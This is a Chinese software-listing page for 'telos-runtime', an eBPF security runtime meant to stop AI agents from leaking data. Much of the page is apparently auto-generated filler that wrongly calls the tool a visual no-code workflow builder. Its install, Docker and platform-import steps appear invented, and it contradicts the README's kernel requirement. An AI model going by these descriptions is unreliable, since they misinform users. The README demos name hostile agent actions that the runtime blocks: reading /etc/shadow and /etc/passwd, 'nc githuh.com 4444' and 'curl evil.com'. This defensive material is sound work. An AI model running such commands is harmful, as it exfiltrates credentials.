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Agent工作流

Telos安全运行时

基于 Python · 无代码搭建完整 AI 自动化流程
英文名:telos-runtime
⭐ 10 Stars 🍴 10 Forks 💻 Python 📄 MIT 🏷 AI 7.5分
7.5AI 综合评分
AI安全eBPF工作流LLM安全数据防护
✦ AI Skill Hub 推荐

AI Skill Hub 推荐使用:Telos安全运行时 是一款优质的Agent工作流。AI 综合评分 7.5 分,在同类工具中表现稳健。如果你正在寻找可靠的Agent工作流解决方案,这是一个值得深入了解的选择。

📚 深度解析
Telos安全运行时 是一套完整的 AI Agent 自动化工作流方案。随着 AI 能力的不断提升,基于 Agent 的自动化工作流正在成为提升个人和团队效率的核心方式。区别于传统的 RPA 自动化(模拟鼠标键盘操作),AI Agent 工作流通过理解任务意图、动态规划执行路径,能够处理更复杂的非结构化任务。

Telos安全运行时 工作流的设计遵循"最小配置,最大复用"原则:核心逻辑已经封装好,用户只需配置自己的 API Key 和业务参数即可快速上手。工作流内置错误处理和重试机制,在网络波动或 API 限速等情况下仍能稳定运行,适合作为生产环境的自动化基础设施。

在实际部署时,建议先在测试环境中运行 3-5 次,验证各个环节的输出结果符合预期,再部署到生产环境。AI Skill Hub 评分 7.5 分,是同类 Agent 工作流中的精选推荐。
📋 工具概览

Telos安全运行时 是一套完整的 AI Agent 自动化工作流方案。通过可视化的节点编排,将复杂的多步骤任务拆解为清晰的自动化流程,实现全程无人值守的智能处理。支持与数百种外部服务和 API 无缝集成,适合构建数据处理管线、业务自动化和 AI 辅助决策系统。

GitHub Stars
⭐ 10
开发语言
Python
支持平台
Windows / macOS / Linux
维护状态
轻量级项目,按需更新
开源协议
MIT
AI 综合评分
7.5 分
工具类型
Agent工作流
Forks
10
📖 中文文档
以下内容由 AI Skill Hub 根据项目信息自动整理,如需查看完整原始文档请访问底部「原始来源」。

Telos安全运行时 是一套完整的 AI Agent 自动化工作流方案。通过可视化的节点编排,将复杂的多步骤任务拆解为清晰的自动化流程,实现全程无人值守的智能处理。支持与数百种外部服务和 API 无缝集成,适合构建数据处理管线、业务自动化和 AI 辅助决策系统。

📌 核心特色
  • 可视化 Agent 工作流编排,无需编写复杂代码
  • 支持多步骤自动化任务链,实现全流程无人值守
  • 与外部 API、数据库和第三方服务无缝集成
  • 内置错误处理与自动重试机制,保障稳定运行
  • 提供可复用的自动化模板,快速在同类场景部署
🎯 主要使用场景
  • 自动化日常重复性工作,将精力集中于创造性任务
  • 构建数据采集 → 处理 → 输出的完整自动化管线
  • 实现跨平台、跨系统的数据流转和业务协同
以下安装命令基于项目开发语言和类型自动生成,实际以官方 README 为准。
安装命令
# 方式一:pip 安装(推荐)
pip install telos-runtime

# 方式二:虚拟环境安装(推荐生产环境)
python -m venv .venv
source .venv/bin/activate  # Windows: .venv\Scripts\activate
pip install telos-runtime

# 方式三:从源码安装(获取最新功能)
git clone https://github.com/nevinshine/telos-runtime
cd telos-runtime
pip install -e .

# 验证安装
python -c "import telos_runtime; print('安装成功')"
📋 安装步骤说明
  1. 访问 GitHub 仓库获取工作流文件
  2. 在对应平台(Dify / Flowise / Make 等)中找到「导入工作流」功能
  3. 上传工作流文件
  4. 按照提示配置必要的环境变量和 API Key
  5. 运行测试确认流程正常后投入使用
以下用法示例由 AI Skill Hub 整理,涵盖最常见的使用场景。
常用命令 / 代码示例
# 命令行使用
telos-runtime --help

# 基本用法
telos-runtime input_file -o output_file

# Python 代码中调用
import telos_runtime

# 示例
result = telos_runtime.process("input")
print(result)
以下配置示例基于典型使用场景生成,具体参数请参照官方文档调整。
配置示例
# telos-runtime 配置文件示例(config.yml)
app:
  name: "telos-runtime"
  debug: false
  log_level: "INFO"

# 运行时指定配置文件
telos-runtime --config config.yml

# 或通过环境变量配置
export TELOS_RUNTIME_API_KEY="your-key"
export TELOS_RUNTIME_OUTPUT_DIR="./output"
📑 README 深度解析 真实文档 完整度 55/100 含工作流图 查看 GitHub 原文 →
以下内容由系统直接从 GitHub README 解析整理,保留代码块、表格与列表结构。

Telos

Features

FeatureDescription
Intent-Based PolicyAgents declare goals in natural language — policies are auto-generated
Dual-Gate EnforcementSeparate Execution Gate (execve) and Network Gate (socket_connect)
Dynamic IFCTouching sensitive files elevates taint and triggers Network Slam
Domain IntelligenceO(1) SQLite-backed scoring with typosquat and homoglyph detection
LOLBin DefenseBlocks living-off-the-land binaries per-intent
Dynamic DrawbridgeNetwork windows auto-expire after intent TTL
DNS InterceptionTransparent proxy with real-time domain classification
Mirage DeceptionHoneypot files that trap and fingerprint attacker behavior
Fail-Open/Closed WatchdogBidirectional heartbeat between eBPF and Cortex planes
Prometheus MetricsEnterprise-grade observability on :9094/metrics
Hyperion XDP BridgeMalicious IPs pushed to XDP for wire-speed packet drops

---

Prerequisites

  • Linux Kernel >= 5.15 (eBPF LSM support required)
  • Go >= 1.21
  • Python 3.10+
  • clang / llvm (for eBPF compilation)
  • bpftool (for BTF/vmlinux generation)

Install Python dependencies

pip install -r cortex/requirements.txt

Optional: require a local bearer token

TELOS_DASH_TOKEN=change-me python3 web_dashboard.py

Binding beyond localhost requires TELOS_DASH_TOKEN

TELOS_DASH_TOKEN=change-me python3 web_dashboard.py --host 0.0.0.0 ``` The Cortex gRPC control plane binds to 127.0.0.1 by default and requires clients to include TELOS_CORTEX_AUTH_TOKEN as a bearer token in gRPC metadata. Only override the bind host for a remote deployment after adding a trusted network boundary.

---

Getting Started

Installation

```bash git clone https://github.com/nevinshine/telos-runtime.git cd telos-runtime

Demonstrations

Demo 1: Execution Gate (LOLBin Defense)

sudo -E telos start
export TELOS_CORTEX_AUTH_TOKEN="same-token-used-by-cortex"
python3 demo_payload.py

What happens: 1. Agent declares intent: "I need to download a file from the server" 2. curl executes successfully (it was authorized) 3. nc is BLOCKED — the Execution Gate denies it because it was never part of the declared intent 4. Agent declares malicious intent: "I need to share credentials" 5. cat /etc/passwd is BLOCKED — sensitive file access denied 6. nc githuh.com 4444 is BLOCKED — both the binary and the typosquatted domain are denied

Demo 2: Information Flow Control (Network Slam)

sudo -E telos start
export TELOS_CORTEX_AUTH_TOKEN="same-token-used-by-cortex"
sudo -E python3 demo_ifc.py

What happens: 1. Agent declares: "I need to check security compliance" 2. Agent reads /etc/shadow — eBPF elevates taint to CRITICAL 3. Agent tries curl evil.comNetwork Slam kicks in, connection killed with -EPERM 4. Data never leaves the machine

Demo 3: Hyperion XDP Bridge

```bash

(Optional) Download the LLM model for control-plane escalation

./scripts/download_model.sh ```

Configuration

Edit cortex/policy.yaml to customize security boundaries:

execution:
  default_mode: enforce          # enforce | audit
  safe_binaries:                 # Always allowed (system essentials)
    - cat
    - ls
    - curl

network:
  always_allowed:                # Pre-authorized destinations
    - api.weather.com
    - github.com

filesystem:
  sensitive_paths:               # Files that trigger taint elevation
    - /etc/shadow
    - /etc/passwd
    - ~/.ssh/id_*

---

🎯 aiskill88 AI 点评 B 级 2026-05-23

创新的内核级AI安全方案,技术栈前沿(eBPF+LLM),但社区认可度有限,适合安全研究方向深入探索。

📚 实用指南(长尾问题)
适合谁
  • 构建多智能体协作系统的 Agent 开发者
  • 跨境业务、多语言内容运营团队
最佳实践
  • 生产部署优先使用 Docker Compose 隔离依赖,并挂载 volume 持久化数据
  • Agent 任务先做 dry-run 验证工具调用链,再开启自主执行
常见错误
  • API key 直接提交到 git 仓库(请用 .env 并加入 .gitignore)
  • 容器内无法访问宿主机 localhost — 使用 host.docker.internal
  • Python 依赖冲突:建议用 venv / uv 隔离环境
部署方案
  • Docker:telos-runtime 提供官方镜像,docker compose up 一键启动
  • CLI:直接 npm install -g / pip install,命令行调用
  • 云端托管:可放在 Vercel / Railway / Fly.io 等 PaaS 平台
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⚡ 核心功能
👥 适合谁
  • 构建多智能体协作系统的 Agent 开发者
  • 跨境业务、多语言内容运营团队
⭐ 最佳实践
  • 生产部署优先使用 Docker Compose 隔离依赖,并挂载 volume 持久化数据
  • Agent 任务先做 dry-run 验证工具调用链,再开启自主执行
⚠️ 常见错误
  • API key 直接提交到 git 仓库(请用 .env 并加入 .gitignore)
  • 容器内无法访问宿主机 localhost — 使用 host.docker.internal
  • Python 依赖冲突:建议用 venv / uv 隔离环境
👥 适合人群
自动化工程师和运维人员项目经理和业务分析师希望减少重复性工作的专业人士数字化转型团队
🎯 使用场景
  • 自动化日常重复性工作,将精力集中于创造性任务
  • 构建数据采集 → 处理 → 输出的完整自动化管线
  • 实现跨平台、跨系统的数据流转和业务协同
⚖️ 优点与不足
✅ 优点
  • +MIT 协议,可免费商用
  • +大幅减少重复性人工操作
  • +可视化流程,清晰直观
  • +可扩展性强,支持复杂场景
⚠️ 不足
  • 初始配置和调试需投入一定时间
  • 强依赖外部服务的稳定性
  • 复杂场景需具备一定技术基础
⚠️ 使用须知

AI Skill Hub 为第三方内容聚合平台,本页面信息基于公开数据整理,不对工具功能和质量作任何法律背书。

建议在沙箱或测试环境中充分验证后,再部署至生产环境,并做好必要的安全评估。

📄 License 说明

✅ MIT 协议 — 最宽松的开源协议之一,可自由商用、修改、分发,仅需保留版权声明。

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基于当前 Skill 的能力图谱,自动补全的工具组合
❓ 常见问题 FAQ
需要Linux内核支持eBPF(5.8+),配合Python3和相关安全工具链。
💡 AI Skill Hub 点评

总体来看,Telos安全运行时 是一款质量良好的Agent工作流,在同类工具中具备一定竞争力。AI Skill Hub 将持续追踪其更新动态,建议收藏备用,结合自身场景选择合适时机引入使用。

⬇️ 获取与下载
⬇ 下载源码 ZIP

✅ MIT 协议 · 可免费商用 · 直接从 aiskill88 服务器下载,无需跳转 GitHub

📚 深入学习 Telos安全运行时
查看分步骤安装教程和完整使用指南,快速上手这款工具
🌐 原始信息
原始名称 telos-runtime
原始描述 开源AI工作流:A closed-loop security runtime preventing "The Great Exfiltration" and Indirect 。⭐10 · Python
Topics AI安全eBPF工作流LLM安全数据防护
GitHub https://github.com/nevinshine/telos-runtime
License MIT
语言 Python
🔗 原始来源
🐙 GitHub 仓库  https://github.com/nevinshine/telos-runtime

收录时间:2026-05-22 · 更新时间:2026-05-23 · License:MIT · AI Skill Hub 不对第三方内容的准确性作法律背书。